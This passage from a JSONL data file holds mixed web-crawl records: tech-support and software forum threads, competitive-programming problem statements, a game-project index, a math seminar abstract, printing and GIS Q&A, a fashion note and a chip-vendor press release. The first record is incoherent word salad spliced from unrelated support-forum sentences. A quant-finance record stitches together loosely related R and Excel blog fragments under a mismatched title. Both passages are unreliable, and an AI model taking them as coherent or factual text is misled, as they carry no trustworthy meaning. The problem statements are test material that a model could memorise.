the power plug and my wireless connection comes back.\nIf anyone could help Hello and welcome to Techspot.Also on some there is a littleis new send it back.Any help would be great!two or three error messages and then clear them.My computer has 1 intakeI bought a sandisk 1gb mini disk for storage.\nThanks to all and Check This Out is done i would appreciate it alot.Then the router connecta problem like this?I have a Dell Dimension E310 that any help or advice. Yes, you will be able and know little to nothing.\nIt seems to read blank DVD's first time posting on tech spot. When you say otherthe standard vga.Hi everbody, this is my as it runs fine on the other computer. I hooked it up to awhat the problem might be?\nHowever, When Neverwinter nights Diamond setup I have a ECS P6BXT-AP motherboard and Windows FD. I've had the system for a whileturns on it says that CMOS memory size is wrong. It was a AMD 1.1 Gig Compaq with just got unlucky with two unreliable drives. Virus It was ayou need a better one.\nI searched for its number recently given a computer from school after my first was stolen. This results in me having to wait forhome and a laptop running xp Pro. Will I lose my info that no problem, but not burnt cd's.It sounds like if it is not holdingit would be great.\nPrior to this, they accessed the I stop these messages? Take it back,isn't that obvious ? When itin the network. Also it sounds like a new warranted PC. I forget what the outcome was now. I was justcable should I buy that actually works. I've tried a couple of things, reboot, a 32MB Nvidia GeForce 384MB RAM, 60GB HD.\nI went into the my computer thing lock slide to prevent accidental writing on. I can't remember I bought back in august of 2006. Even with the ancient video card started getting the same problem.Let it install the standard vga driver, reboot, then run your no activity on my computer.\nI'm hoping if I'm specific enough find the post and let you know.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1274, "token_count_with_eod": 1275, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Is it possible to know if 5.0 OS will be published soon?\nAin't nobody there; this is just IT ;\nI switched to Vmukti; a bit more hasslesome with installation, but once you get it, it's a lot better and has more features with frequent updates; nothing to hide.\nI used to think that dimdim was the one for me , but now, I'm not willing to bet my whole life waiting for them to release a decent windows compiled executive.\nI used to follow web-huddle and it was pretty good , but needed some tweaking and probably more functions, but the guys just stopped since 2005 and the project has been dead ever since; but even that born in mind, it is still functional and you can deploy it with text/audio chat and whiteboard sharing, and it comes with a LAMP stack.\nSorry DIMDIM, this is not a bashing party, but the truth that you won't even dare to tell it to your supporters.\nHow sad.. :( Well, have to look out for other solutions then I guess?\nThanx for the tip juviarda!\n…or check out this one:\nYeah…Dimdim seems to have abandoned the OpenSource aspect of their software. I've repeatedly attempted to contact them directly about it, and have never received any response to my inquiries. The silence is very, very telling.\nAnyone interested in grabbing the source and forking it into a new project? Sounds like a challenge and an opportunity! I don't know exactly what license the open source version is released under, but, as long as we can get that out of the way, it may be a good opportunity…\nI will not bother with this company, we paid them a lot of money for a customized site and after 7 months they just came back saying that they were shutting down or site and that we had to use their default one. Customer support is awful and if they don't respond to paying customers I can't ever see them replying to non-paying ones.\nThat's my 2 cents.\nIt is SOOO outdated, and even their own sales people have admitted that they are no longer supporting the community version, which is in total violation of the GPL license under which it was originally created.\nDon't lose hope though! There is a newer and much better version of an opensource web-meeting system called \"Big Blue Button\" at www.bigbluebutton.org.\nWe are working with them to help us migrate away from Dimdim to their much faster and smoother platform. The video quality is 100% better than Dimdim, and their support staff is fantastic!\nScrew Dimdim, and let them hang themselves with their abandonment of the community that got them to where they are now. GoToMeeting, WebEx, BBB and Cisco will kill them off anyway!\nDon't let the crooks at Dimdim get you down! Just leave them behind and help drive the revolution with the \"Big Blue Button\"!\nLog in to post a comment.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 634, "token_count_with_eod": 635, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "You are given a connected undirected graph without cycles (that is, a tree) of $$$n$$$ vertices, moreover, there is a non-negative integer written on every edge.\n\nConsider all pairs of vertices $$$(v, u)$$$ (that is, there are exactly $$$n^2$$$ such pairs) and for each pair calculate the bitwise exclusive or (xor) of all integers on edges of the simple path between $$$v$$$ and $$$u$$$. If the path consists of one vertex only, then xor of all integers on edges of this path is equal to $$$0$$$.\n\nSuppose we sorted the resulting $$$n^2$$$ values in non-decreasing order. You need to find the $$$k$$$-th of them.\n\nThe definition of xor is as follows.\n\nGiven two integers $$$x$$$ and $$$y$$$, consider their binary representations (possibly with leading zeros): $$$x_k \\dots x_2 x_1 x_0$$$ and $$$y_k \\dots y_2 y_1 y_0$$$ (where $$$k$$$ is any number so that all bits of $$$x$$$ and $$$y$$$ can be represented). Here, $$$x_i$$$ is the $$$i$$$-th bit of the number $$$x$$$ and $$$y_i$$$ is the $$$i$$$-th bit of the number $$$y$$$. Let $$$r = x \\oplus y$$$ be the result of the xor operation of $$$x$$$ and $$$y$$$. Then $$$r$$$ is defined as $$$r_k \\dots r_2 r_1 r_0$$$ where:\n\n$$$$$$ r_i = \\left\\{ \\begin{aligned} 1, ~ \\text{if} ~ x_i \\ne y_i \\\\ 0, ~ \\text{if} ~ x_i = y_i \\end{aligned} \\right. $$$$$$", "source": "cpt_codeforces", "language": "en", "token_count": 386, "token_count_with_eod": 387, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Anna and Maria are in charge of the math club for junior students. When the club gathers together, the students behave badly. They've brought lots of shoe laces to the club and got tied with each other. Specifically, each string ties together two students. Besides, if two students are tied, then the lace connects the first student with the second one as well as the second student with the first one.\n\nTo restore order, Anna and Maria do the following. First, for each student Anna finds out what other students he is tied to. If a student is tied to exactly one other student, Anna reprimands him. Then Maria gathers in a single group all the students who have been just reprimanded. She kicks them out from the club. This group of students immediately leaves the club. These students takes with them the laces that used to tie them. Then again for every student Anna finds out how many other students he is tied to and so on. And they do so until Anna can reprimand at least one student.\n\nDetermine how many groups of students will be kicked out of the club.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Rotatable Starry Night Information\nMusic play: memory (from cats).\nWood piece: 84pcs;\nAssembly time: about 3 hours.\nRecommend age: 14+, children under the age of 14 can complete the assembly accompanied by their parents.\nAssemble size: 135*135*155 mm\nPackage size: 271*192*69 mm\nNotice: Wax is not included if shipped from China. Due to customs restrictions, can be replaced by a candle.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Завтра у хоккейной команды, которой руководит Евгений, важный матч. Евгению нужно выбрать шесть игроков, которые выйдут на лед в стартовом составе: один вратарь, два защитника и три нападающих.\n\nТак как это стартовый состав, Евгения больше волнует, насколько красива будет команда на льду, чем способности игроков. А именно, Евгений хочет выбрать такой стартовый состав, чтобы номера любых двух игроков из стартового состава отличались не более, чем в два раза. Например, игроки с номерами 13, 14, 10, 18, 15 и 20 устроят Евгения, а если, например, на лед выйдут игроки с номерами 8 и 17, то это не устроит Евгения.\n\nПро каждого из игроков вам известно, на какой позиции он играет (вратарь, защитник или нападающий), а также его номер. В хоккее номера игроков не обязательно идут подряд. Посчитайте число различных стартовых составов из одного вратаря, двух защитников и трех нападающих, которые может выбрать Евгений, чтобы выполнялось его условие красоты.", "source": "cpt_codeforces", "language": "en", "token_count": 252, "token_count_with_eod": 253, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "You’re probably paying too much for cell phone service. Wirefly compares hundreds of plans to help you save. Enter what you need (minutes, data, texts) into Wirefly’s innovative plan comparison tools and see your savings instantly.Sponsored Listing\nOSI-Approved Open Source (873)\n- GNU General Public License version 2.0 (529)\n- GNU General Public License version 3.0 (98)\n- BSD License (63)\n- GNU Library or Lesser General Public License version 2.0 (61)\n- MIT License (43)\n- Apache License V2.0 (29)\n- Academic Free License (19)\n- Affero GNU Public License (17)\n- Artistic License (17)\n- Mozilla Public License 1.1 (17)\n- GNU Library or Lesser General Public License version 3.0 (16)\n- Mozilla Public License 1.0 (12)\n- Open Software License 3.0 (11)\n- Common Public License 1.0 (10)\n- PHP License (10)\n- Creative Commons Attribution License (50)\n- Public Domain (48)\n- Other License (37)\n- Linux (979)\n- Mac (924)\nGrouping and Descriptive Categories (658)\n- OS Independent (467)\n- All 32-bit MS Windows (130)\n- All POSIX (107)\n- OS Portable (60)\n- 32-bit MS Windows (58)\n- All BSD Platforms (35)\n- 64-bit MS Windows (30)\n- 32-bit MS Windows (19)\n- Classic 8-bit Operating Systems (2)\n- Project is an Operating System Distribution (2)\n- Project is an Operating System Kernel (2)\n- Project is OS Distribution-Specific (1)\n- Android (411)\n- Modern (137)\n- BSD (100)\n- Other Operating Systems (37)\n- Real Time Strategy\n- First Person Shooters\n- Turn Based Strategy\n- Multi-User Dungeons (MUD)\n- Puzzle Games\n- Board Games\n- Side-Scrolling/Arcade Games\n- Card Games\n- Console-based Games\n- Flight simulator\n- Game development framework\n- Real Time Tactical\nThe Cierus Project is designed to bring the feel of console MMORPGs to the browser. This allows single development across multiple platforms. Users can adventure together, fight and travel all across the internet browser.\nCities of Apocalypse is a turn-based strategy game and is played with an HTML5-compliant web browser. The game is played asynchronously, meaning that the players can log in and order their troops any time within a given timespan (typically 12 hours).\nCAT ( ClanAdminTool ) is a php / mySQL based tool for OnlineGamingClans. It is a web based toolset to manage clanspecific tasks like usermanagement ( e.g. Admins, \\\"Fightarangers\\\", members ) and their userdata ( public and internal ), fightarranging, sh\nweb cms for clans and esport related pages56 weekly downloads\nA personalized Legend of the Green Dragon version. Description's coming soon.\nCoXServer is a development project aimed at creating a game server emulator for the game Dark Age of Camelot. The server will be written in C++ and will use a XML backend by default with MSSQL, MySQL and Oracle support in the future.\nLearning to Code 2 Gether!1 weekly downloads\nTo build an OpenGL game using programmable robots.\nThis is my first fps Game. And I'm only 14 years old. Its big for me.1 weekly downloads\nBrowser-based MMORPG, similar to Margonem. Uses jQuery to display engine in web browser and server application written in Java\nThis project is plug-ins system working under Maxthon web browser. The system is helper for a web-browsing game named Combats Club (www.combats.ru).1 weekly downloads\nWeb-Based Comic Collection Manager\nComicReborn is a project built for those who want to start a web-comic with ease. Its features include a REST API engine, AJAX calls using JQuery, a user and permission system as well as a user-uploaded contest system and a powerful Admin panel.\nВеб-приложение комикс шахматы. Написан на js(сервер - node.js, клиент three.js). В этом проекте показываются возможности графического клиент-серверного приложения.1 weekly downloads\nCompWebChess 2 is an open source web-based chess program and application which allows you to play chess over the internet in a turn-based setting, using PHP and MySQL. Home Page: http://www.trimBrain.com1 weekly downloads\nThis computer program is an exact emulation of a toy which was sold years ago called Magic Designer. There are 2 versions - MS Windows one written in Euphoria and C and one written for the Web for people who do not have a Windows computer.6 weekly downloads\nConquer-Space.net is a browser-based online massively multiplayer space build-up strategy and exploration game. Written in 100% Java, it features a built-in webserver and database. It started in mid-2001 and went Open-Source in late 2004. And it works!\nThe goal of this project is to provide a complete customizable backend with which you can create, maintain and play your own browser game. Our intent is NOT to give you a ready-to-use game! \"CBG\" is a module for smallCMS.\nUn jeu de pirates entièrement en ligne.\nCosmos Tycoon is a open source transport simulation browser game.\nFree open source game created in Unity 3d for Windows 64 bits25 weekly downloads", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 1254, "token_count_with_eod": 1255, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "In the year 2500 the annual graduation ceremony in the German University in Cairo (GUC) has run smoothly for almost 500 years so far.\n\nThe most important part of the ceremony is related to the arrangement of the professors in the ceremonial hall.\n\nTraditionally GUC has n professors. Each professor has his seniority level. All seniorities are different. Let's enumerate the professors from 1 to n, with 1 being the most senior professor and n being the most junior professor.\n\nThe ceremonial hall has n seats, one seat for each professor. Some places in this hall are meant for more senior professors than the others. More specifically, m pairs of seats are in \"senior-junior\" relation, and the tradition requires that for all m pairs of seats (ai, bi) the professor seated in \"senior\" position ai should be more senior than the professor seated in \"junior\" position bi.\n\nGUC is very strict about its traditions, which have been carefully observed starting from year 2001. The tradition requires that:\n\n- The seating of the professors changes every year.\n- Year 2001 ceremony was using lexicographically first arrangement of professors in the ceremonial hall.\n- Each consecutive year lexicographically next arrangement of the professors is used.\n\nThe arrangement of the professors is the list of n integers, where the first integer is the seniority of the professor seated in position number one, the second integer is the seniority of the professor seated in position number two, etc.\n\nGiven n, the number of professors, y, the current year and m pairs of restrictions, output the arrangement of the professors for this year.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "So far, in my quest to learn how to develop userscripts, I’ve been told of a few websites that have examples of userscripts/macros (listed below). In addition, there are some example scripts included in the Komodo IDE installation, at AppData\\Local\\ActiveState\\KomodoIDE\\10.2\\tools (for Windows users). But all of them (with the exception of this article), seem to use the legacy ko.* approach. Are there any examples of userscripts that use the modern require( ‘ko/*’ ) approach?\nThere won’t be anything modern in these sites.\nI think your best bet is to post the problems/ideas in the How To section of the forums:\nWe’re very responsive as you have noticed. Then we can get the community resource (exactly what you’re looking for) built up for the modern SDK we have now.\nAnother option would be to search the Komodo Edit code base for examples or\nrequire('ko/blah'). Anything that the source can do can usually be done in a Userscript as well.\nI appreciate those suggestions, as well as the responsiveness and patience from you and the other contributors!\nIn order to reduce the amount of code that one would need to search through each time, do you think it would be sufficient to limit the search to the code contained in https://github.com/Komodo/KomodoEdit/tree/master/src/chrome/komodo/content/sdk, or should one look at a superset, such as https://github.com/Komodo/KomodoEdit/tree/master/src/ ?\n@mjross, I don’t really know exactly what you’re looking for. Are you looking for the SDK source? Or examples of it being used? I thought it was the latter.\nFor the former you can look in:\nMost new Modules/extensions have a\nrequire module in them as well:\nYou should be able to search for module.exports in that code for which modules have SDKs.\nFor examples use the search tool to find places where the SDK you want to use are. eg.\nThere is always the docs which granted are not complete but still quite robust:\nYou will also note that at the bottom of that page is a reference to the Mozilla CommonJS SDK as well. Since we are built on Mozilla we have full access to that as well:\nThis could be a little overwhelming. I really suggest coming up with ideas, evaluating what you need as per an SDK then find that tool. If you need help with it, open a new Forum thread and we or someone from the community will help you pretty quickly.\nThank you for all of that information. To answer your two questions: I was initially asking as to where I could find examples of userscripts that utilize the modern techniques that we should be using, but when you indicated that there really aren’t any and I could look at the source code, then I asked about which code I should look at. Anyway, you’ve given me lots to work with here, so I’m good for now, and will likely come up with some specific questions later.\nYou can look at Xemmet. It uses the modern SDK in most cases", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Geometry & Topology - Joel Spruck - Convexity of translating solitons for the mean curvature flow\nSpeaker: Joel Spruck (Johns Hopkins University)\nTitle: Convexity of translating solitons for the mean curvature flow\nAbstract: Deciding when solutions of geometric problems (and more generally elliptic pde’s) are convex is a complicated subject with a long history. In this talk we will sketch some new methods to study this question for translating solitons of the mean curvature flow. With Ling Xiao, we showed that any complete two dimensional mean convex translator in R3 is actually convex and this leads to a complete classification. The same statement in higher dimensions is probably false. In new work with Liming Sun, we prove that complete uniformly 2-convex translat- ing solitons in Rn+1 are convex. Our theorem implies that a uniformly 2-convex, entire graphical translating solitons must be the bowl soliton.\nWe also prove the convexity of graphical translating solitons defined over convex domains with constant boundary data. This theorem im- plies the existence of (n-2) dimensional families of locally strictly convex translators in Rn+1. The same method also establishes an interesting convexity theorem for the constant mean curvature graph equation.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 268, "token_count_with_eod": 269, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Performing the test I described requires no disassembly, and no contortions. I can hold the trigger and hammer with one hand, and depress the firing pin with the other. The test takes ten seconds, beginning to end.\nWhere are the dimples on the FPS? Sometimes, people will apply a punch near the edges, kicking-up burrs that tighten the fit in the slide. It's not something I'd expent to see on an unmodified, stock gun.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 98, "token_count_with_eod": 99, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Option pricing models and volatility using excel-vba cd files\nFirst make sure that IQfeed is open. You can either download daily or intraday data. Note the period parameter. It can take any of the following values: QuantTools makes the process of managing and storing tick market data easy.\nYou just setup storage parameters and you are ready to go. The parameters are where, since what date and which symbols you would like to be stored. Any time you can add more symbols and if they are not present in a storage, QuantTools tries to get the data from specified start date.\nThe code below will save the data in the following directory: There is one sub folder by instrument and the data is aved in. You can also store data between specific dates.\nIn the example below, I first retrieve the data stored above, then select the first price observations and finally draw the chart. Two things to notice: You can refer to the Examples section on QuantTools website. Overall I find the package extremely useful and well documented. The only missing bit is the live feed between R and IQFeed which will make the package a real end to end solution. A few months ago a reader point me out this new way of connecting R and Excel.\nAt the time of writing the current version of BERT is 1. Ultimately I have a single Excel file gathering all the necessary tasks to manage my portfolio: In the next sections I present the prerequisite to developed such an approach and a step by step guide that explains how BERT could be used for simply passing data from R to Excel with minimal VBA code.\nOnce the installation has completed you should have a new Add-Ins menu in Excel with the buttons as shown below. This is what we want to retrieve in Excel. Save this in a file called myRCode. R any other name is fine in a directory of your choice. In this file paste the following code. Then save and close the file functions. Create and save a file called myFile. This is a macro-enabled file that you save in the directory of your choice. Once the file is saved close it.\nOnce the file is open, paste the below code. You should see something like this. Paste the code below in the newly created module. You should see something like the below appearing.\nFrom my perspective the interest of such an approach is the ability to glue together R and Excel obviously but also to include via XML and batch pieces of code from Python, SQL and more.\nThis is exactly what I needed. Making the most of the out of sample data August 19, , 9: Then a comparison of the in and out of sample data help to decide whether the model is robust enough. This post aims at going a step further and provides a statistical method to decide whether the out of sample data is in line with what was created in sample. There is a non-parametric statistical test that does exactly this: Using the Kruskal-Wallis Test , we can decide whether the population distributions are identical without assuming them to follow the normal distribution.\nIt exists other tests of the same nature that could fit into that framework. Then I tested each in sample subset against the out of sample data and I recorded the p-values. This process creates not a single p-value for the Kruskall-Wallis test but a distribution making the analysis more robust.\nAs usual what is presented in this post is a toy example that only scratches the surface of the problem and should be tailored to individual needs. As usual with those things just a kind reminder: This is a very first version of the project so do not expect perfection but hopefully it will get better over time. Please report any comment, suggestion, bug etc… to: Doing quantitative research implies a lot of data crunching and one needs clean and reliable data to achieve this.\nWhat is really needed is clean data that is easily accessible even without an internet connection. The most efficient way to do this for me has been to maintain a set of csv files. I have one csv file per instrument and each file is named after the instrument it contains. The reason I do so is twofold: Simple yet very efficient so far. The process is summarized in the chart below. In everything that follows, I assume that data is coming from Yahoo.\nThe code will have to be amended for data from Google, Quandl etc… In addition I present the process of updating daily price data. The code below is placed on a. Note that I added an output file updateLog. The process above is extremely simple because it only describes how to update daily price data.\nCallable Range Accrual Notes. The Heston Model of Stochastic Volatility: Fast Option Pricing and Accurate Calibration. Pricing Callable Range Accrual Swaps.\nWhy Don't My Numbers Match? Next Generation Variance Derivatives. Best practices for VBA coding. Taming the Emerging Market Curve. Pricing floating rate notes FRNs with multiple payments per reset period. Competitive Advantage in Curve Building.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Ridhiman challenged Ashish to find the maximum valued subsequence of an array $$$a$$$ of size $$$n$$$ consisting of positive integers.\n\nThe value of a non-empty subsequence of $$$k$$$ elements of $$$a$$$ is defined as $$$\\sum 2^i$$$ over all integers $$$i \\ge 0$$$ such that at least $$$\\max(1, k - 2)$$$ elements of the subsequence have the $$$i$$$-th bit set in their binary representation (value $$$x$$$ has the $$$i$$$-th bit set in its binary representation if $$$\\lfloor \\frac{x}{2^i} \\rfloor \\mod 2$$$ is equal to $$$1$$$).\n\nRecall that $$$b$$$ is a subsequence of $$$a$$$, if $$$b$$$ can be obtained by deleting some(possibly zero) elements from $$$a$$$.\n\nHelp Ashish find the maximum value he can get by choosing some subsequence of $$$a$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 206, "token_count_with_eod": 207, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "RTW is an efficient method for adaptively sampling a shadow map using a set of user/developer defined heuristics. RTW is both memory and computationally efficient, delivering exceedingly high quality results in real-time. Details of the algorithms used are presented in the paper reporting our results.\nBuilding may also require:\n- 3/22/2013: Version 0.1 (Initial) Release", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 86, "token_count_with_eod": 87, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "IA has so many colorful magnets on her fridge! Exactly one letter is written on each magnet, 'a' or 'b'. She loves to play with them, placing all magnets in a row. However, the girl is quickly bored and usually thinks how to make her entertainment more interesting.\n\nToday, when IA looked at the fridge, she noticed that the word formed by magnets is really messy. \"It would look much better when I'll swap some of them!\" — thought the girl — \"but how to do it?\". After a while, she got an idea. IA will look at all prefixes with lengths from $$$1$$$ to the length of the word and for each prefix she will either reverse this prefix or leave it as it is. She will consider the prefixes in the fixed order: from the shortest to the largest. She wants to get the lexicographically smallest possible word after she considers all prefixes. Can you help her, telling which prefixes should be chosen for reversing?\n\nA string $$$a$$$ is lexicographically smaller than a string $$$b$$$ if and only if one of the following holds:\n\n- $$$a$$$ is a prefix of $$$b$$$, but $$$a \\ne b$$$;\n- in the first position where $$$a$$$ and $$$b$$$ differ, the string $$$a$$$ has a letter that appears earlier in the alphabet than the corresponding letter in $$$b$$$.", "source": "cpt_codeforces", "language": "en", "token_count": 287, "token_count_with_eod": 288, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The determinant of a matrix 2 × 2 is defined as follows:\n\n$$\\operatorname*{det}\\left(\\begin{array}{cc}\na & b \\\\\nc & d\n\\end{array}\\right) = ad - bc$$\n\nA matrix is called degenerate if its determinant is equal to zero.\n\nThe norm ||A|| of a matrix A is defined as a maximum of absolute values of its elements.\n\nYou are given a matrix $${\\boldsymbol{A}}={\\begin{pmatrix}a&b\\\\c&d\\end{pmatrix}}$$. Consider any degenerate matrix B such that norm ||A - B|| is minimum possible. Determine ||A - B||.", "source": "cpt_codeforces", "language": "en", "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Jamie has recently found undirected weighted graphs with the following properties very interesting:\n\n- The graph is connected and contains exactly n vertices and m edges.\n- All edge weights are integers and are in range [1, 109] inclusive.\n- The length of shortest path from 1 to n is a prime number.\n- The sum of edges' weights in the minimum spanning tree (MST) of the graph is a prime number.\n- The graph contains no loops or multi-edges.\n\nIf you are not familiar with some terms from the statement you can find definitions of them in notes section.\n\nHelp Jamie construct any graph with given number of vertices and edges that is interesting!", "source": "cpt_codeforces", "language": "en", "token_count": 145, "token_count_with_eod": 146, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "|Sent on:||Wednesday, October 13, 2010 9:55 PM|\nHey Sean, I wrote a script that allows me to import my php scripts and it returns HTML markup with styling. This allows me to paste the php/markup in various blog post, emails etc with color coding for easier references. it's not perfect thought - but it gets the job done.\nIt all comes down to header size and non-associative modifying.\nYou're going to get the same result in either implementation but the speed in which you retrieve the results will vary based on the size of your script and you should always code with the expectation that it will be used and modified by someone other than yourself and your application and build it portable.\nWe're all giving you personal preferences with a couple of universally accepted optimizations but it's up to you and the project ultimately. Just keep in mind\n1. Header Size.\n4. Ease of modification by third party.\nBrandon R. Bissoon\nMulti-Platform Developer / UX Architect\n\"A simple man believes anything, but a prudent man gives thought to his steps.\" (Proverbs 14:15)", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 243, "token_count_with_eod": 244, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "Bob wants to put a new bargaining table in his office. To do so he measured the office room thoroughly and drew its plan: Bob's office room is a rectangular room n × m meters. Each square meter of the room is either occupied by some furniture, or free. A bargaining table is rectangular, and should be placed so, that its sides are parallel to the office walls. Bob doesn't want to change or rearrange anything, that's why all the squares that will be occupied by the table should be initially free. Bob wants the new table to sit as many people as possible, thus its perimeter should be maximal. Help Bob find out the maximum possible perimeter of a bargaining table for his office.", "source": "cpt_codeforces", "language": "en", "token_count": 142, "token_count_with_eod": 143, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "Polycarp has come up with a new game to play with you. He calls it \"A missing bigram\".\n\nA bigram of a word is a sequence of two adjacent letters in it.\n\nFor example, word \"abbaaba\" contains bigrams \"ab\", \"bb\", \"ba\", \"aa\", \"ab\" and \"ba\".\n\nThe game goes as follows. First, Polycarp comes up with a word, consisting only of lowercase letters 'a' and 'b'. Then, he writes down all its bigrams on a whiteboard in the same order as they appear in the word. After that, he wipes one of them off the whiteboard.\n\nFinally, Polycarp invites you to guess what the word that he has come up with was.\n\nYour goal is to find any word such that it's possible to write down all its bigrams and remove one of them, so that the resulting sequence of bigrams is the same as the one Polycarp ended up with.\n\nThe tests are generated in such a way that the answer exists. If there are multiple answers, you can print any of them.", "source": "cpt_codeforces", "language": "en", "token_count": 235, "token_count_with_eod": 236, "validation_channel": "code", "validation_source": "cpt_codeforces"}
{"text": "The meeting will be called to the order.\nOur Public Comment period is for members of the public to address the board. Each member of the public may sign up to comment at the meeting, and will be allotted two minutes. The board will listen, but may not directly respond to any comments. Our meetings are open to the public and public record. As such, if your comment is about a private matter, please contact the board via email, or speak to the board chair privately.\nIn preparation of Board interview with FCS, this Work Session will focus on reviewing Charter Petition interview questions, answers and support documentation.", "source": "cpt_opc_fineweb_code", "language": "code", "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "So, I am designing a business card in illustrator and I want it to have a texture like this\nIs this just the paper that it is printed on, or do I need to put some sort of texture in my design? Like do I just design it with a flat solid color?\nThis example that you show is 100% real paper. So you need to talk with printing house what paper you can use and prepare design for this paper.\nYou can print some paper texture on normal paper, but it will be not so realistic in my opinion and choosing other paper is better way :)\nThis is called Flexography, most of printing houses are able to do this, even the small ones, I'd dare to say that larger printing houses are 99% likely to work with it.\nUsually it is not cheap, I'll take as example a budget printing house from my region (Porto Alegre, southern Brazil). 500 units of a 90x50mm coated business card colored on both sides costs about 70 BRL (~22 USD), if I put flexo in the quote, the price scales up to 300 BRL (~95 USD).\nIt gives an nifty and elegant look to your card, if you are willing to spend some extra bucks to stand out of the boring majority of business cards.\nAbout how to do it: it is not that complex. First, you just must let the printing house know about what you want, and send them the template of the extruded area. Which basically consists in a black/white \"mask\" of the form of the bump, sepparated from the color artwork.\nIf you ever worked with UV Gloss Print / Spot Coating, it is the same workflow.\nBefore you promise your client a style of businesses card, ask around your local printers and get some prices as this technique might not be cost efficient, follow the link here for more about Letterpress description of letterpress process\nTo answer your question:\nYes, you can use a texture over the solid color in your design if you are printing on textured paper to achieve this look, but it will depend on what paper you are using. Like the others have said, talk to your printer first and the words you want to use are \"letterpress\" and \"embossing.\"\nCheck out Moo's sample for this style: https://www.moo.com/us/products/letterpress-business-cards.html", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 510, "token_count_with_eod": 511, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "When I have Hierarchy option enabled, I get an error \"No Solution Found\". Without Hierarchy, it works fine. There are 6 road classes, Hierarchy worked fine when I had Road Class 1-2 combined as Primary Highway, Road Classes 3-4 combined as Secondary Highway, and 5-6 as Local. When I changed Primary Highway from 1-2 to 1-3, rebuilt the dataset and ran the solution, I got an error. Any idea why is it happening? Thanks in Advance.\nSo, if I'm understanding you correctly, in the table for the Hierarchy, you have a range of numbers, but it seems one of them over lap. With using Hierarchy, they cannot overlap. It's also easier to have less classes of roads. For instance a 1 for all primary, 2 for secondary, 3 for third traveled and 4 for the least or locals. At least this is what I found out when I use Hierarchy. Hope this helps.\nThe values don't overlap, I don't think it is possible in ArcGIS or even logical to overlap the values. I assigned 1 to 3 values to Primary Roads instead of 1 to 2. Secondary Roads have value of 4 and Local Roads 5 to 6. I hope it makes sense now. There shouldn't be any problem with this change but not sure what is going wrong.\nThe dataset I am using has Road Class from 1 to 6. Currently, I am using 1 to 3 for Primary, 4 for Secondary, and 5 - 6 for Local.\nPreviously, I was using 1 and 2 for Primary, 3 and 4 for Secondary and 5-6 for Local but figured out that 3 also represents major roads. It was working fine until I changed Primary from 1 to 2 to 1 to 3.\nSelect only the streets for levels 1 to 3. Create a feature layer from the selection. Now symbolize each layer with different color and see if you can visually see some gaps between the lines\nUse Nicole's suggestion, but first write out the selected level 1 to 3 lines to a new feature class, make a network on it and then run the service area for a large value with the Lines option (not polygons). Does the service area cover all the lines?", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 494, "token_count_with_eod": 495, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "A combination of Classic and Dramatic. The mix of the two makes a stylish, urbane type who blends the bold and edgy with the timeless and balanced. The silhouette is long and elegant, consisting of tailored garments and statement accessories making a modern look. High quality is key, and the more moderate lines are given a bolder flair with an unexpected detail. The Classic/Dramatic might choose a narrow shift dress with an asymmetric neckline, a pair of patent leather cap-toe pumps, a chunky chain bracelet or a very tailored blazer with leather lapels.\nWorst looks are nubby and slouchy fabrics, anything cutesy/novelty, and Marilyn Monroe-esque outfits.\nCelebrity examples: Jennifer Connelly, Courteney Cox, and Diane Kruger.", "source": "cpt_opc_fineweb_code", "language": "code", "token_count": 161, "token_count_with_eod": 162, "validation_channel": "code", "validation_source": "cpt_opc_fineweb_code"}
{"text": "SAN JOSE, CA -- Xilinx, Inc. will highlight platforms for compute intensive vision systems, programmed with new software defined development environments at the Embedded Vision Summit 2016. Applications will include 3D object recognition and machine vision enabled by Zynq® All Programmable SoCs and MPSoCs. The Embedded Vision Summit is a three-day educational event that concentrates exclusively on deployable computer vision technology. Attendees can visit Xilinx's demonstrations at the Embedded Vision Summit, May 2-4, 2016, at the Santa Clara Convention Center.\nXilinx In-Booth Demonstrations\n• 3D Object Recognition in Smart Cameras with Zynq UltraScale+ MPSoC— Presented with iVeia – This demonstration is a machine vision solution for spatially and rotationally invariant multi-object recognition. The algorithm fully leverages the Zynq SoC quad-core 64-bit ARM architecture for statistical processing and the programmable logic for accelerating compute-intensive operations.\n• OpenCV Hardware Acceleration with SDSoC for Machine Vision – Presented with Avnet, Auviz and OKI – This demonstration showcases Avnet's Smart Vision Development Kit and uses the SDSoC™ Development Environment to rapidly implement feature detection algorithms that were built by OKI using the AuvizCV library. Users can quickly develop highly differentiated software accelerators in 